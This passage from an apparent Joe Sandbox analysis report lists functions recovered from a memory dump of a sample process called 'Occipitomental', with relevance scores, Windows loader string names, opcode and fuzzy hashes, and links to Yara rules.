                                                  • API ID: DebugPrintTimes
                                                  • String ID: $$$
                                                  • API String ID: 3446177414-233714265
                                                  • Opcode ID: 519fd335982b46b506cdda954603f355a03747b60022f4f162644b8db67eefee
                                                  • Instruction ID: 09478a114c52a1ae7527a1e7dc78c1cf155aefd020af48a4196f80415301738b
                                                  • Opcode Fuzzy Hash: 519fd335982b46b506cdda954603f355a03747b60022f4f162644b8db67eefee
                                                  • Instruction Fuzzy Hash: 2661B971E04749DBEB60CFA4C590BA9F7FAFF44304F104869D509AB680DB74A981CB96
                                                  Function 357535BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
                                                  • API String ID: 0-118005554
                                                  • Opcode ID: f1f75ae92782dcf25e15fb0554e7ce6fd09fa4c11c4fed8830df00544e5796d4
                                                  • Instruction ID: 17476b956ee36ae091b3a5944876da07b1da951bd56976996870bee8a2c2a998
                                                  • Opcode Fuzzy Hash: f1f75ae92782dcf25e15fb0554e7ce6fd09fa4c11c4fed8830df00544e5796d4
                                                  • Instruction Fuzzy Hash: 2D319AB62087819BD311CF68D894B2AB7E5FF85760F040C6DF8558B3A0EB70D909CB96
                                                  Function 356F329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: .Local\$@
                                                  • API String ID: 0-380025441
                                                  • Opcode ID: e0572f14b29c5bcc598b3eb48b028307236eac655ab65559c5dcb77e23feb6b8
                                                  • Instruction ID: d9b1e3d56130216bbaad06eb11ee0c56fe31fe7dfeb08e2840d71ad28e1a501b
                                                  • Opcode Fuzzy Hash: e0572f14b29c5bcc598b3eb48b028307236eac655ab65559c5dcb77e23feb6b8
                                                  • Instruction Fuzzy Hash: 48316DB6A097459FD311CF28C984E5BBBE8FBC5694F40092EF99487250DB36DD04CB92
                                                  Function 356F34B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 35732A95
                                                  • RtlpInitializeAssemblyStorageMap, xrefs: 35732A90
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
                                                  • API String ID: 0-2653619699
                                                  • Opcode ID: 708e6ff4099de7faf36ed05339bb9264aa573b5e681fb3b01e646509aa78dd46
                                                  • Instruction ID: 0a131c72d71651731ad5f501e17d79f050b13a8d35f4250dd165315d62b8a08b
                                                  • Opcode Fuzzy Hash: 708e6ff4099de7faf36ed05339bb9264aa573b5e681fb3b01e646509aa78dd46
                                                  • Instruction Fuzzy Hash: FA1129B6F05304ABE725CA58CD41F5F76BEABD4B64F1580697904EF240DA75CD00C6E0
                                                  Function 356EB2C0 Relevance: 1.9, Strings: 1, Instructions: 629COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @[{5@[{5
                                                  • API String ID: 0-80516943
                                                  • Opcode ID: d570790591e7faadd794c7488654d29aeb5a84826d848684b53823e7e447414d
                                                  • Instruction ID: 1c8be881301d5c48550201b94ec34d5f4b43eb8c4791098199a4793e139a0c47
                                                  • Opcode Fuzzy Hash: d570790591e7faadd794c7488654d29aeb5a84826d848684b53823e7e447414d
                                                  • Instruction Fuzzy Hash: 8232ADB6E13219DBDF14CF98C994AAEBBB1FF44714F14012DE845AB3A0EB719901CB91
                                                  Function 357931E1 Relevance: 1.8, APIs: 1, Instructions: 281COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • @_EH4_CallFilterFunc@8.LIBCMT ref: 35793356
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CallFilterFunc@8
                                                  • String ID:
                                                  • API String ID: 4062629308-0
                                                  • Opcode ID: 34b06ba960d626db04234d12a75c393b0baf60e4a141ee158baf2ed7a61d86b4
                                                  • Instruction ID: 52203df57ca3a0550a8b4e46d598ba5e6fb3d7f94a603413ef4e877aa777e95a
                                                  • Opcode Fuzzy Hash: 34b06ba960d626db04234d12a75c393b0baf60e4a141ee158baf2ed7a61d86b4
                                                  • Instruction Fuzzy Hash: 4EC136B59017198FDB28CF1AD884A99FBF1FF88314F5181AED54EAB250D734AA81CF50
                                                  Function 356C1131 Relevance: 1.8, APIs: 1, Instructions: 259timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: 1da554faf432bdd86b42e8e80249c15cee7c851c435cc9bb5a94788625a74696
                                                  • Instruction ID: bbcc2243e30fab8b37f9a7ac04ead3732b23c4e97fa99cdb9e36198e359f09bc
                                                  • Opcode Fuzzy Hash: 1da554faf432bdd86b42e8e80249c15cee7c851c435cc9bb5a94788625a74696
                                                  • Instruction Fuzzy Hash: EFB112B56083808FD354CF28C480A5AFBF1BB88304F54496EF89ADB352D775E946CB52
                                                  Function 356C7370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 73afeda5e28e8d14960a28d4cdc54afc4739683dc46779083d1cef6d6718c330
                                                  • Instruction ID: 6ac81966845b0a92b7033b2349ad788ffd5c98929e8a07f189a3f91861b73eee
                                                  • Opcode Fuzzy Hash: 73afeda5e28e8d14960a28d4cdc54afc4739683dc46779083d1cef6d6718c330
                                                  • Instruction Fuzzy Hash: 1CA16CB5608341CFD314CF28D480A1ABBF6FF88354F104AAEE5859B750EB70E945CB92
                                                  Function 356C7703 Relevance: 1.7, APIs: 1, Instructions: 179COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: b3ed0cab53ea8640feb295f97a83245d4e58f1288321f6534046480f881dda2d
                                                  • Instruction ID: 9e878f9e18bcc90f56e8ac32feb32e81bb32341f0e426856e739d2d1c9916a67
                                                  • Opcode Fuzzy Hash: b3ed0cab53ea8640feb295f97a83245d4e58f1288321f6534046480f881dda2d
                                                  • Instruction Fuzzy Hash: EE613EB5F05606AFDB48DF68C480A9DFBB6FF88240F1486AED519A7340DB30A941CBD4
                                                  Function 356FF603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 8e76b44ce767e04b09e3ef9b4e0e819e5b3f4d10334ed603bdb17fc818cd7817
                                                  • Instruction ID: 340a92565ec09f1ccc0ed0837ab8135542f4f938e309f55ff0edaffb91fbb7b7
                                                  • Opcode Fuzzy Hash: 8e76b44ce767e04b09e3ef9b4e0e819e5b3f4d10334ed603bdb17fc818cd7817
                                                  • Instruction Fuzzy Hash: 20412BB5D002889FDB20CFA9D480AAEFBF8FB48340F50416ED959A7211DB719945CF65
                                                  Function 356BB480 Relevance: 1.6, APIs: 1, Instructions: 100timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: d790f62342d8d649b09170cb638fae1bfaf26b95d01b83e9899038b57fade7ea
                                                  • Instruction ID: 5628b2fca90c52c47364eda8bd05d724dba9ad6702ef052daecce8371661d9db
                                                  • Opcode Fuzzy Hash: d790f62342d8d649b09170cb638fae1bfaf26b95d01b83e9899038b57fade7ea
                                                  • Instruction Fuzzy Hash: E43102726006049FCB21CF14C880E56B7B9FF853A0F50466DED455B2A1DBB1EE42CBD6
                                                  Function 356C57C0 Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: 57baf61023c5a8911a81c2077ab74765150a4248e05d72b7df88ddd3d7875380
                                                  • Instruction ID: c97cc06c2cde37737b197a654101399b39cedaabfbe897bf10391ec6421b8dc4
                                                  • Opcode Fuzzy Hash: 57baf61023c5a8911a81c2077ab74765150a4248e05d72b7df88ddd3d7875380
                                                  • Instruction Fuzzy Hash: EF316939716A06AFE745CB24DE94E8ABBA6FF84240F445069E8018BF50DB70E831CB90
                                                  Function 356C3616 Relevance: 1.6, APIs: 1, Instructions: 84timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: f24834796d87bb09be3c61723a963c789452b78b2dcf0e3f30823424a3a7b563
                                                  • Instruction ID: 53f054bf45b9dd2f06313f88176f526b96872327ace12a9849e4862b5163520a
                                                  • Opcode Fuzzy Hash: f24834796d87bb09be3c61723a963c789452b78b2dcf0e3f30823424a3a7b563
                                                  • Instruction Fuzzy Hash: 8221F0763053509FDB219F05C984F1ABBA2FFC1B60F5109A9EA420BA50CB70E884CBD2
                                                  Function 35795D50 Relevance: 1.6, APIs: 1, Instructions: 77timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: 46eaa727c2ed2a7a9a3af77f0c926a5a5bf46ddedbaec2125b34cc0aedba203a
                                                  • Instruction ID: 4937a6af69926dab5c0e17afe804bcef5bcc108a4bf5cc6e9a9cccfd14c8d159
                                                  • Opcode Fuzzy Hash: 46eaa727c2ed2a7a9a3af77f0c926a5a5bf46ddedbaec2125b34cc0aedba203a
                                                  • Instruction Fuzzy Hash: A521AB7A601554EFCF16CF58DA84A9EBBB6FF88380F1400A4E8014F265CB36DD11EBA0
                                                  Function 356DDDB1 Relevance: 1.6, APIs: 1, Instructions: 62timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: e0a4abae4ad512ace19ca487a018b573585cff4d0a85933d22e5cd3dd622c1d6
                                                  • Instruction ID: 2d3bda341e6ed0e3c79eeafbab2c972ea11a81dd160bf88c002ff73550f87ea1
                                                  • Opcode Fuzzy Hash: e0a4abae4ad512ace19ca487a018b573585cff4d0a85933d22e5cd3dd622c1d6
                                                  • Instruction Fuzzy Hash: 1B21DCB6704388DFEB128FA8C544B9DBBF6FF45344F0444A9E900AB292DB798900CB65
                                                  Function 356B92FF Relevance: 1.5, APIs: 1, Instructions: 35timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: 4585acf624f6f02465fe873ff865e0f677008dc249b656d9875c84b3a0640cf7
                                                  • Instruction ID: 57e28d69f4b78dc071adf160ca0aed1956fe60c914e6b0de8629af6d0afb222c
                                                  • Opcode Fuzzy Hash: 4585acf624f6f02465fe873ff865e0f677008dc249b656d9875c84b3a0640cf7
                                                  • Instruction Fuzzy Hash: 11F0FA32200644ABDB319B0ACC04F8ABBFDEF84B00F180618A54293590CAA1A909CBA0
                                                  Function 357916A6 Relevance: 1.5, Strings: 1, Instructions: 221COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: W
                                                  • API String ID: 0-655174618
                                                  • Opcode ID: af971ae3147346b3d525ec1401e90246c454419b467f19ba505e82572acea6ae
                                                  • Instruction ID: c676d1442753b5d590a4a73dfb4761e691c9c74d4cf4a368f352f65651750bb8
                                                  • Opcode Fuzzy Hash: af971ae3147346b3d525ec1401e90246c454419b467f19ba505e82572acea6ae
                                                  • Instruction Fuzzy Hash: 41A139B5E007A98FDB28CF14DC84BD9B7B2AB49315F0041E9D849AB351D7349A91CFA0
                                                  Function 356C973A Relevance: 1.4, Strings: 1, Instructions: 191COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @
                                                  • API String ID: 0-2766056989
                                                  • Opcode ID: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
                                                  • Instruction ID: e3fa38293cea7a5bf4684b26127b925a04c04c3dbf854ee5b206d4e1296a620b
                                                  • Opcode Fuzzy Hash: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
                                                  • Instruction Fuzzy Hash: EC616C76D05219AFDB11DF95C844B9EBBF5FF84750F5046A9E810BB290DB74AA00CB60
                                                  Function 3574F7AF Relevance: 1.4, Strings: 1, Instructions: 161COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @
                                                  • API String ID: 0-2766056989
                                                  • Opcode ID: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
                                                  • Instruction ID: 850494d4381fbc0a38e7e133e2d4e33cd26bec635ee3c4d763f13d1c98829d9a
                                                  • Opcode Fuzzy Hash: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
                                                  • Instruction Fuzzy Hash: 3A519AB2618705AFE711DF54C848F6BB7E9FB84750F400929B980DB290EBB4ED05CB96
                                                  Function 3577B256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: PreferredUILanguages
                                                  • API String ID: 0-1884656846
                                                  • Opcode ID: 1f85c71e9b07c29502ad54397db921c2a6c9f224d36976c33278d30e3aab2819
                                                  • Instruction ID: d736f1bb96947991a3d5981ce9b44c0b71649b26a1b32483f1ed37673508a074
                                                  • Opcode Fuzzy Hash: 1f85c71e9b07c29502ad54397db921c2a6c9f224d36976c33278d30e3aab2819
                                                  • Instruction Fuzzy Hash: 9F41B376E04219ABDF11CAA4D844BFEB3BAFF44754F010166E815EF250EA74DE80C7A0
                                                  Function 357497A9 Relevance: 1.4, Strings: 1, Instructions: 121COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: verifier.dll
                                                  • API String ID: 0-3265496382
                                                  • Opcode ID: a37b8dcc1d92de6079782f419d7be546e5f9e73f13b449880594dc360c581fef
                                                  • Instruction ID: cef5c980cb9ec1cf92bcabcb6e00e5144eda10bacbff582ea07ddfee9862e743
                                                  • Opcode Fuzzy Hash: a37b8dcc1d92de6079782f419d7be546e5f9e73f13b449880594dc360c581fef
                                                  • Instruction Fuzzy Hash: D4316FF5B18305AFDB149F2DD860E6676FAFB88350F90846AE505DF281EB718C81C790
                                                  Function 356FBC3B Relevance: 1.4, Strings: 1, Instructions: 121COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: LdrpInitializeProcess
                                                  • API String ID: 0-2689506271
                                                  • Opcode ID: 12b730f8b66cc7286dd29c0722fd67e5087a981e693a9626e863e1d0c7b035ae
                                                  • Instruction ID: 2b9ce73e5e07140e37f61b3a5bb188f7239ab55018181a80f7f8d4b797af4524
                                                  • Opcode Fuzzy Hash: 12b730f8b66cc7286dd29c0722fd67e5087a981e693a9626e863e1d0c7b035ae
                                                  • Instruction Fuzzy Hash: E741C4B251A304AFE311CE50D549EABB7EDBB84724F01492EF1A19B140EBB0D645CF92
                                                  Function 356F7505 Relevance: 1.4, Strings: 1, Instructions: 111COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: #
                                                  • API String ID: 0-1885708031
                                                  • Opcode ID: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
                                                  • Instruction ID: bf4814d6dcbccef2946a9e621f11f40bf0b371c12c07c9ccea7fed1a967f2231
                                                  • Opcode Fuzzy Hash: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
                                                  • Instruction Fuzzy Hash: 9F418F79E0461ADBEB15CF48C490BBEB7B6FB44751F00446AE9419B240DF71D941CBE2
                                                  Function 356F36EF Relevance: 1.4, Strings: 1, Instructions: 106COMMON
                                                  Download Yara Rule
